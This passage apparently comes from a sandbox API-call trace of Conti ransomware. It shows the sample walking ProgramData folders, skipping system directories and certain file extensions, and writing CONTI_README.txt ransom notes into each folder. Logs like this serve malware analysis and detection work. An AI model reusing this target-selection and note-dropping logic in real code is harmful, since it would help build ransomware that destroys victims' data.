	[0105.089] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\TenantStorage\\P-ARIA\\", lpString2="CONTI_README.txt" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\TenantStorage\\P-ARIA\\CONTI_README.txt") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\TenantStorage\\P-ARIA\\CONTI_README.txt"
	[0105.090] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\TenantStorage\\P-ARIA\\CONTI_README.txt" (normalized: "c:\\programdata\\microsoft\\diagnosis\\tenantstorage\\p-aria\\conti_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0105.444] GetProcessHeap () returned 0x1720000
	[0105.444] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17403d0 | out: hHeap=0x1720000) returned 1
	[0105.444] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\TenantStorage\\P-ARIA\\*", lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0xd84bb78, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x5c3f140, nFileSizeLow=0xb55d3, dwReserved0=0x5c3f18c, dwReserved1=0xb6884, cFileName="繰ż桸\x0bၠŴ", cAlternateFileName="ঈŴ׃繰ż桸\x0bၠŴ׃0")) returned 0xffffffff
	[0105.444] GetProcessHeap () returned 0x1720000
	[0105.444] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17e4258 | out: hHeap=0x1720000) returned 1
	[0105.444] GetProcessHeap () returned 0x1720000
	[0105.444] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1740988 | out: hHeap=0x1720000) returned 1
	[0105.444] FindNextFileW (in: hFindFile=0x17c7e70, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd6b11c43, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0xd6b11c43, ftLastAccessTime.dwHighDateTime=0x1d327b4, ftLastWriteTime.dwLowDateTime=0xd6b37da3, ftLastWriteTime.dwHighDateTime=0x1d327b4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="P-ARIA", cAlternateFileName="")) returned 0
	[0105.444] GetProcessHeap () returned 0x1720000
	[0105.444] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17411b0 | out: hHeap=0x1720000) returned 1
	[0105.444] FindClose (in: hFindFile=0x17c7e70 | out: hFindFile=0x17c7e70) returned 1
	[0105.444] GetProcessHeap () returned 0x1720000
	[0105.444] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1741060 | out: hHeap=0x1720000) returned 1
	[0105.444] FindNextFileW (in: hFindFile=0x17c7fb0, lpFindFileData=0x5c3f3d0 | out: lpFindFileData=0x5c3f3d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x774ff760, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xb85cc8d2, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0xb85cc8d2, ftLastWriteTime.dwHighDateTime=0x1d33839, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f66c, dwReserved1=0xb6884, cFileName="VortexSchemaRequests.dat", cAlternateFileName="VORTEX~1.DAT")) returned 1
	[0105.444] lstrcmpiW (lpString1="VortexSchemaRequests.dat", lpString2=".") returned 1
	[0105.444] lstrcmpiW (lpString1="VortexSchemaRequests.dat", lpString2="..") returned 1
	[0105.444] StrStrIW (lpFirst="VortexSchemaRequests.dat", lpSrch=".CONTI") returned 0x0
	[0105.444] StrStrIW (lpFirst="VortexSchemaRequests.dat", lpSrch="CONTI_README.txt") returned 0x0
	[0105.444] StrStrIW (lpFirst="VortexSchemaRequests.dat", lpSrch=".exe") returned 0x0
	[0105.445] StrStrIW (lpFirst="VortexSchemaRequests.dat", lpSrch=".dll") returned 0x0
	[0105.445] StrStrIW (lpFirst="VortexSchemaRequests.dat", lpSrch=".lnk") returned 0x0
	[0105.445] StrStrIW (lpFirst="VortexSchemaRequests.dat", lpSrch=".sys") returned 0x0
	[0105.445] StrStrIW (lpFirst="VortexSchemaRequests.dat", lpSrch=".CONTI") returned 0x0
	[0105.445] StrStrIW (lpFirst="VortexSchemaRequests.dat", lpSrch="CONTI_README.txt") returned 0x0
	[0105.445] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Diagnosis") returned 34
	[0105.445] lstrlenW (lpString="VortexSchemaRequests.dat") returned 24
	[0105.445] GetProcessHeap () returned 0x1720000
	[0105.445] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x78) returned 0x17e39d8
	[0105.445] lstrcpyW (in: lpString1=0x17e39d8, lpString2="C:\\ProgramData\\Microsoft\\Diagnosis" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis") returned="C:\\ProgramData\\Microsoft\\Diagnosis"
	[0105.445] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\"
	[0105.445] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\", lpString2="VortexSchemaRequests.dat" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\VortexSchemaRequests.dat") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\VortexSchemaRequests.dat"
	[0105.445] FindNextFileW (in: hFindFile=0x17c7fb0, lpFindFileData=0x5c3f3d0 | out: lpFindFileData=0x5c3f3d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x774ff760, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xb85cc8d2, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0xb85cc8d2, ftLastWriteTime.dwHighDateTime=0x1d33839, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f66c, dwReserved1=0xb6884, cFileName="VortexSchemaRequests.dat", cAlternateFileName="VORTEX~1.DAT")) returned 0
	[0105.445] GetProcessHeap () returned 0x1720000
	[0105.445] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17bee10 | out: hHeap=0x1720000) returned 1
	[0105.445] FindClose (in: hFindFile=0x17c7fb0 | out: hFindFile=0x17c7fb0) returned 1
	[0105.445] GetProcessHeap () returned 0x1720000
	[0105.445] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x173d198 | out: hHeap=0x1720000) returned 1
	[0105.445] FindNextFileW (in: hFindFile=0x17c83f0, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd71bd25, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f8dc, dwReserved1=0xb6884, cFileName="DRM", cAlternateFileName="")) returned 1
	[0105.445] lstrcmpiW (lpString1="DRM", lpString2=".") returned 1
	[0105.445] lstrcmpiW (lpString1="DRM", lpString2="..") returned 1
	[0105.445] lstrcmpiW (lpString1="DRM", lpString2="tmp") returned -1
	[0105.445] lstrcmpiW (lpString1="DRM", lpString2="winnt") returned -1
	[0105.445] lstrcmpiW (lpString1="DRM", lpString2="Application Data") returned 1
	[0105.445] lstrcmpiW (lpString1="DRM", lpString2="AppData") returned 1
	[0105.445] lstrcmpiW (lpString1="DRM", lpString2="temp") returned -1
	[0105.445] lstrcmpiW (lpString1="DRM", lpString2="thumb") returned -1
	[0105.445] lstrcmpiW (lpString1="DRM", lpString2="$Recycle.Bin") returned 1
	[0105.445] lstrcmpiW (lpString1="DRM", lpString2="$RECYCLE.BIN") returned 1
	[0105.445] lstrcmpiW (lpString1="DRM", lpString2="System Volume Information") returned -1
	[0105.445] lstrcmpiW (lpString1="DRM", lpString2="Program Files") returned -1
	[0105.445] lstrcmpiW (lpString1="DRM", lpString2="Program Files (x86)") returned -1
	[0105.446] lstrcmpiW (lpString1="DRM", lpString2="Boot") returned 1
	[0105.446] lstrcmpiW (lpString1="DRM", lpString2="Windows") returned -1
	[0105.446] lstrlenW (lpString="C:\\ProgramData\\Microsoft") returned 24
	[0105.446] lstrlenW (lpString="DRM") returned 3
	[0105.446] GetProcessHeap () returned 0x1720000
	[0105.446] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x3a) returned 0x1734990
	[0105.446] lstrcpyW (in: lpString1=0x1734990, lpString2="C:\\ProgramData\\Microsoft" | out: lpString1="C:\\ProgramData\\Microsoft") returned="C:\\ProgramData\\Microsoft"
	[0105.446] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\") returned="C:\\ProgramData\\Microsoft\\"
	[0105.446] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\", lpString2="DRM" | out: lpString1="C:\\ProgramData\\Microsoft\\DRM") returned="C:\\ProgramData\\Microsoft\\DRM"
	[0105.446] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\DRM") returned 28
	[0105.446] GetProcessHeap () returned 0x1720000
	[0105.446] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x3e) returned 0x1734900
	[0105.446] lstrcpyW (in: lpString1=0x1734900, lpString2="C:\\ProgramData\\Microsoft\\DRM" | out: lpString1="C:\\ProgramData\\Microsoft\\DRM") returned="C:\\ProgramData\\Microsoft\\DRM"
	[0105.446] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\DRM", lpString2="\\*" | out: lpString1="C:\\ProgramData\\Microsoft\\DRM\\*") returned="C:\\ProgramData\\Microsoft\\DRM\\*"
	[0105.446] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\DRM") returned 28
	[0105.446] lstrlenW (lpString="CONTI_README.txt") returned 16
	[0105.446] GetProcessHeap () returned 0x1720000
	[0105.446] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x5c) returned 0x17c0718
	[0105.446] lstrcpyW (in: lpString1=0x17c0718, lpString2="C:\\ProgramData\\Microsoft\\DRM" | out: lpString1="C:\\ProgramData\\Microsoft\\DRM") returned="C:\\ProgramData\\Microsoft\\DRM"
	[0105.446] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\DRM", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\DRM\\") returned="C:\\ProgramData\\Microsoft\\DRM\\"
	[0105.446] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\DRM\\", lpString2="CONTI_README.txt" | out: lpString1="C:\\ProgramData\\Microsoft\\DRM\\CONTI_README.txt") returned="C:\\ProgramData\\Microsoft\\DRM\\CONTI_README.txt"
	[0105.446] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\DRM\\CONTI_README.txt" (normalized: "c:\\programdata\\microsoft\\drm\\conti_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c
	[0105.447] GetProcessHeap () returned 0x1720000
	[0105.447] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c0718 | out: hHeap=0x1720000) returned 1
	[0105.447] WriteFile (in: hFile=0x30c, lpBuffer=0xba0d0*, nNumberOfBytesToWrite=0xa2, lpNumberOfBytesWritten=0x5c3f3ac, lpOverlapped=0x0 | out: lpBuffer=0xba0d0*, lpNumberOfBytesWritten=0x5c3f3ac*=0xa2, lpOverlapped=0x0) returned 1
	[0105.447] CloseHandle (hObject=0x30c) returned 1
	[0105.447] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\DRM\\*", lpFindFileData=0x5c3f3d0 | out: lpFindFileData=0x5c3f3d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd71bd25, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x52b0aaa9, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f66c, dwReserved1=0xb6884, cFileName=".", cAlternateFileName="")) returned 0x17c85b0
	[0105.448] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0105.448] FindNextFileW (in: hFindFile=0x17c85b0, lpFindFileData=0x5c3f3d0 | out: lpFindFileData=0x5c3f3d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd71bd25, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x52b0aaa9, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f66c, dwReserved1=0xb6884, cFileName="..", cAlternateFileName="")) returned 1
	[0105.448] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0105.448] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0105.448] FindNextFileW (in: hFindFile=0x17c85b0, lpFindFileData=0x5c3f3d0 | out: lpFindFileData=0x5c3f3d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52b0aaa9, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x52b0aaa9, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x52b0aaa9, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x5c3f66c, dwReserved1=0xb6884, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 1
	[0105.448] lstrcmpiW (lpString1="CONTI_README.txt", lpString2=".") returned 1
	[0105.448] lstrcmpiW (lpString1="CONTI_README.txt", lpString2="..") returned 1
	[0105.448] StrStrIW (lpFirst="CONTI_README.txt", lpSrch=".CONTI") returned 0x0
	[0105.448] StrStrIW (lpFirst="CONTI_README.txt", lpSrch="CONTI_README.txt") returned="CONTI_README.txt"
	[0105.448] FindNextFileW (in: hFindFile=0x17c85b0, lpFindFileData=0x5c3f3d0 | out: lpFindFileData=0x5c3f3d0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd71c393, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f66c, dwReserved1=0xb6884, cFileName="Server", cAlternateFileName="")) returned 1
	[0105.448] lstrcmpiW (lpString1="Server", lpString2=".") returned 1
	[0105.448] lstrcmpiW (lpString1="Server", lpString2="..") returned 1
	[0105.448] lstrcmpiW (lpString1="Server", lpString2="tmp") returned -1
	[0105.448] lstrcmpiW (lpString1="Server", lpString2="winnt") returned -1
	[0105.448] lstrcmpiW (lpString1="Server", lpString2="Application Data") returned 1
	[0105.448] lstrcmpiW (lpString1="Server", lpString2="AppData") returned 1
	[0105.448] lstrcmpiW (lpString1="Server", lpString2="temp") returned -1
	[0105.448] lstrcmpiW (lpString1="Server", lpString2="thumb") returned -1
	[0105.448] lstrcmpiW (lpString1="Server", lpString2="$Recycle.Bin") returned 1
	[0105.448] lstrcmpiW (lpString1="Server", lpString2="$RECYCLE.BIN") returned 1
	[0105.448] lstrcmpiW (lpString1="Server", lpString2="System Volume Information") returned -1
	[0105.448] lstrcmpiW (lpString1="Server", lpString2="Program Files") returned 1
	[0105.448] lstrcmpiW (lpString1="Server", lpString2="Program Files (x86)") returned 1
	[0105.448] lstrcmpiW (lpString1="Server", lpString2="Boot") returned 1
	[0105.448] lstrcmpiW (lpString1="Server", lpString2="Windows") returned -1
	[0105.448] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\DRM") returned 28
	[0105.448] lstrlenW (lpString="Server") returned 6
	[0105.448] GetProcessHeap () returned 0x1720000
	[0105.448] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x48) returned 0x173d008
	[0105.448] lstrcpyW (in: lpString1=0x173d008, lpString2="C:\\ProgramData\\Microsoft\\DRM" | out: lpString1="C:\\ProgramData\\Microsoft\\DRM") returned="C:\\ProgramData\\Microsoft\\DRM"
	[0105.448] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\DRM", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\DRM\\") returned="C:\\ProgramData\\Microsoft\\DRM\\"
	[0105.449] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\DRM\\", lpString2="Server" | out: lpString1="C:\\ProgramData\\Microsoft\\DRM\\Server") returned="C:\\ProgramData\\Microsoft\\DRM\\Server"
	[0105.449] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\DRM\\Server") returned 35
	[0105.449] GetProcessHeap () returned 0x1720000
	[0105.449] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x4c) returned 0x17bec58
	[0105.449] lstrcpyW (in: lpString1=0x17bec58, lpString2="C:\\ProgramData\\Microsoft\\DRM\\Server" | out: lpString1="C:\\ProgramData\\Microsoft\\DRM\\Server") returned="C:\\ProgramData\\Microsoft\\DRM\\Server"
	[0105.449] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\DRM\\Server", lpString2="\\*" | out: lpString1="C:\\ProgramData\\Microsoft\\DRM\\Server\\*") returned="C:\\ProgramData\\Microsoft\\DRM\\Server\\*"
	[0105.449] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\DRM\\Server") returned 35
	[0105.449] lstrlenW (lpString="CONTI_README.txt") returned 16
	[0105.449] GetProcessHeap () returned 0x1720000
	[0105.449] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x6a) returned 0x17404d8
	[0105.449] lstrcpyW (in: lpString1=0x17404d8, lpString2="C:\\ProgramData\\Microsoft\\DRM\\Server" | out: lpString1="C:\\ProgramData\\Microsoft\\DRM\\Server") returned="C:\\ProgramData\\Microsoft\\DRM\\Server"
	[0105.449] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\DRM\\Server", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\DRM\\Server\\") returned="C:\\ProgramData\\Microsoft\\DRM\\Server\\"
	[0105.449] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\DRM\\Server\\", lpString2="CONTI_README.txt" | out: lpString1="C:\\ProgramData\\Microsoft\\DRM\\Server\\CONTI_README.txt") returned="C:\\ProgramData\\Microsoft\\DRM\\Server\\CONTI_README.txt"
	[0105.449] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\DRM\\Server\\CONTI_README.txt" (normalized: "c:\\programdata\\microsoft\\drm\\server\\conti_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0105.449] GetProcessHeap () returned 0x1720000
	[0105.449] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17404d8 | out: hHeap=0x1720000) returned 1
	[0105.449] WriteFile (in: hFile=0x38c, lpBuffer=0xba0d0*, nNumberOfBytesToWrite=0xa2, lpNumberOfBytesWritten=0x5c3f13c, lpOverlapped=0x0 | out: lpBuffer=0xba0d0*, lpNumberOfBytesWritten=0x5c3f13c*=0xa2, lpOverlapped=0x0) returned 1
	[0105.450] CloseHandle (hObject=0x38c) returned 1
	[0105.450] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\DRM\\Server\\*", lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd71c393, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x52b0aaa9, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName=".", cAlternateFileName="")) returned 0x17c8230
	[0105.450] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0105.450] FindNextFileW (in: hFindFile=0x17c8230, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd71c393, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x52b0aaa9, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="..", cAlternateFileName="")) returned 1
	[0105.450] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0105.451] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0105.451] FindNextFileW (in: hFindFile=0x17c8230, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52b0aaa9, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x52b0aaa9, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x52b0aaa9, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 1
	[0105.451] lstrcmpiW (lpString1="CONTI_README.txt", lpString2=".") returned 1
	[0105.451] lstrcmpiW (lpString1="CONTI_README.txt", lpString2="..") returned 1
	[0105.451] StrStrIW (lpFirst="CONTI_README.txt", lpSrch=".CONTI") returned 0x0
	[0105.451] StrStrIW (lpFirst="CONTI_README.txt", lpSrch="CONTI_README.txt") returned="CONTI_README.txt"
	[0105.451] FindNextFileW (in: hFindFile=0x17c8230, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52b0aaa9, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x52b0aaa9, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x52b0aaa9, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 0
	[0105.451] GetProcessHeap () returned 0x1720000
	[0105.451] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17bec58 | out: hHeap=0x1720000) returned 1
	[0105.451] FindClose (in: hFindFile=0x17c8230 | out: hFindFile=0x17c8230) returned 1
	[0105.451] GetProcessHeap () returned 0x1720000
	[0105.451] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x173d008 | out: hHeap=0x1720000) returned 1
	[0105.451] FindNextFileW (in: hFindFile=0x17c85b0, lpFindFileData=0x5c3f3d0 | out: lpFindFileData=0x5c3f3d0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd71c393, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f66c, dwReserved1=0xb6884, cFileName="Server", cAlternateFileName="")) returned 0
	[0105.451] GetProcessHeap () returned 0x1720000
	[0105.451] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1734900 | out: hHeap=0x1720000) returned 1
	[0105.451] FindClose (in: hFindFile=0x17c85b0 | out: hFindFile=0x17c85b0) returned 1
	[0105.451] GetProcessHeap () returned 0x1720000
	[0105.451] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1734990 | out: hHeap=0x1720000) returned 1
	[0105.451] FindNextFileW (in: hFindFile=0x17c83f0, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc93dc4da, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x40368daa, ftLastAccessTime.dwHighDateTime=0x1d39f5f, ftLastWriteTime.dwLowDateTime=0x40368daa, ftLastWriteTime.dwHighDateTime=0x1d39f5f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f8dc, dwReserved1=0xb6884, cFileName="Event Viewer", cAlternateFileName="EVENTV~1")) returned 1
	[0105.451] lstrcmpiW (lpString1="Event Viewer", lpString2=".") returned 1
	[0105.451] lstrcmpiW (lpString1="Event Viewer", lpString2="..") returned 1
	[0105.451] lstrcmpiW (lpString1="Event Viewer", lpString2="tmp") returned -1
	[0105.451] lstrcmpiW (lpString1="Event Viewer", lpString2="winnt") returned -1
	[0105.451] lstrcmpiW (lpString1="Event Viewer", lpString2="Application Data") returned 1
	[0105.451] lstrcmpiW (lpString1="Event Viewer", lpString2="AppData") returned 1
	[0105.451] lstrcmpiW (lpString1="Event Viewer", lpString2="temp") returned -1
	[0105.451] lstrcmpiW (lpString1="Event Viewer", lpString2="thumb") returned -1
	[0105.451] lstrcmpiW (lpString1="Event Viewer", lpString2="$Recycle.Bin") returned 1
	[0105.451] lstrcmpiW (lpString1="Event Viewer", lpString2="$RECYCLE.BIN") returned 1
	[0105.451] lstrcmpiW (lpString1="Event Viewer", lpString2="System Volume Information") returned -1
	[0105.451] lstrcmpiW (lpString1="Event Viewer", lpString2="Program Files") returned -1
	[0105.451] lstrcmpiW (lpString1="Event Viewer", lpString2="Program Files (x86)") returned -1
	[0105.451] lstrcmpiW (lpString1="Event Viewer", lpString2="Boot") returned 1
	[0105.452] lstrcmpiW (lpString1="Event Viewer", lpString2="Windows") returned -1
	[0105.452] lstrlenW (lpString="C:\\ProgramData\\Microsoft") returned 24
	[0105.452] lstrlenW (lpString="Event Viewer") returned 12
	[0105.452] GetProcessHeap () returned 0x1720000
	[0105.452] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x4c) returned 0x17bf288
	[0105.452] lstrcpyW (in: lpString1=0x17bf288, lpString2="C:\\ProgramData\\Microsoft" | out: lpString1="C:\\ProgramData\\Microsoft") returned="C:\\ProgramData\\Microsoft"
	[0105.452] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\") returned="C:\\ProgramData\\Microsoft\\"
	[0105.452] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\", lpString2="Event Viewer" | out: lpString1="C:\\ProgramData\\Microsoft\\Event Viewer") returned="C:\\ProgramData\\Microsoft\\Event Viewer"
	[0105.452] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Event Viewer") returned 37
	[0105.452] GetProcessHeap () returned 0x1720000
	[0105.452] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x50) returned 0x17bf338
	[0105.452] lstrcpyW (in: lpString1=0x17bf338, lpString2="C:\\ProgramData\\Microsoft\\Event Viewer" | out: lpString1="C:\\ProgramData\\Microsoft\\Event Viewer") returned="C:\\ProgramData\\Microsoft\\Event Viewer"
	[0105.452] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Event Viewer", lpString2="\\*" | out: lpString1="C:\\ProgramData\\Microsoft\\Event Viewer\\*") returned="C:\\ProgramData\\Microsoft\\Event Viewer\\*"
	[0105.452] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Event Viewer") returned 37
	[0105.452] lstrlenW (lpString="CONTI_README.txt") returned 16
	[0105.452] GetProcessHeap () returned 0x1720000
	[0105.452] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x6e) returned 0x17405c8
